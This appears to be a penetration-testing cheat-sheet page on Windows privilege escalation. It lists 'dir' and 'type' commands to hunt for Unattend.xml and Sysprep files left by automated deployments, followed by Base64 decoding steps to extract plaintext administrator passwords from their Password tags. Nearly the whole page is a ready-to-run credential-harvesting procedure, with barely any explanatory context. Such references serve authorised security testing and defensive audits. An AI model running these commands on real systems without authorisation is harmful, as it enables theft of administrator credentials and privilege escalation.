OPSECTLAS you are here: Windows
Windows

Unattend.xml / Sysprep Credentials

reference 10 commands

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex

These files are left behind after automated OS deployments and often contain Base64-encoded or plaintext administrator passwords.

Common locations to check · run all of these

dir /s /b C:\unattend.xml 2>nul
dir /s /b C:\unattend.* 2>nul
dir /s /b C:\sysprep.inf 2>nul
dir /s /b C:\sysprep\sysprep.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type C:\Windows\System32\Sysprep\unattend.xml 2>nul
type C:\Windows\System32\Sysprep\Panther\unattend.xml 2>nul

Extract cred if found

Look for <Password> tags · value is Base64 encoded

echo "BASE64VALUE" | base64 -d    # On Kali
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("BASE64"))  # PowerShell